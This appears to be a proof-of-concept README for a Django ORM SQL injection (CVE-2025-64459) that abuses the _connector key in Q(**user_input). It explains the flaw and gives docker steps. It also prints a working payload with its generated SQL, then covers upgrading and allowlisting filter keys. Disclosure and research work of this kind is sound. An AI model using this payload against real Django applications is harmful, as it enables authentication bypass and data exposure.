
Vulnerability: SQL Injection via QuerySet and Q() keyword argument unpacking. CVE ID: CVE-2025-64459 Severity: Critical (CVSS 9.1) Affected Versions: Django 5.1 < 5.1.14, 4.2 < 4.2.26, and 5.2 < 5.2.8. Researcher: Cyberstan (University of Warwick)
Vulnerability: SQL Injection via QuerySet and Q() keyword argument unpacking.
CVE ID: CVE-2025-64459
Discovered By: Me (Cyberstan)
Disclosure Date: November 5, 2025
This repository contains a Dockerized Proof of Concept (PoC) demonstrating a critical SQL Injection vulnerability in the Django ORM.
The vulnerability exists in how the Q object handles keyword arguments during instantiation. Specifically, the internal _connector attribute is not properly sanitized when passed via dictionary unpacking (e.g., Q(**user_input)). This allows a remote attacker to inject arbitrary SQL logic into the WHERE clause of a database query, enabling authentication bypass, data exfiltration, and privilege escalation.
The vulnerability resides in django.db.models.sql.where.WhereNode. The as_sql method, which is responsible for compiling the SQL WHERE clause, uses unsafe string formatting to insert the query connector (AND/OR).
While the connector usually defaults to "AND" or "OR", Django allows this to be overridden via the _connector keyword argument in the Q object constructor.
# Simplified vulnerable logic in django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# The self.connector attribute is injected directly without validation
conn = ' %s ' % self.connector
# ...
The vulnerability is triggered when developers use dictionary unpacking to construct filters from user input—a common pattern in search APIs.
Vulnerable Code Pattern:
# Attacker controls the keys and values of 'filters'
filters = request.GET.dict()
query = Q(**filters) # <--- VULNERABLE POINT
results = User.objects.filter(query)
If an attacker includes _connector as a key in their input, they can manipulate the SQL structure.
This PoC uses Docker to ensure a consistent, isolated environment containing the vulnerable version of Django (5.1).
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
Run the following command to build the environment and execute the attack script:
docker-compose up --build
The container will execute a Python script (poc.py) that mimics a vulnerable application endpoint.
alice (standard) and root (admin)._connector payload.Successful Exploit Output:
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.
Upgrade Django to the latest security release immediately.
pip install Django==5.1.14 (or relevant version)The patch introduces strict validation in WhereNode, ensuring that connector is only ever equal to AND or OR.
If you cannot upgrade immediately, audit your codebase for usage of Q(**kwargs) or filter(**kwargs). ensure that the dictionary passed to these methods never contains raw user-controlled keys.
Safe Pattern:
# Explicitly whitelist allowed fields
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# Now safe to unpack
User.objects.filter(**clean_filters)
This repository is for educational and security research purposes only.
The code provided creates a vulnerable environment to demonstrate a specific security flaw. It should never be run in a production environment. The author (Cyberstan) is not responsible for any misuse of this information. Testing this exploit against systems without explicit authorization is illegal. '''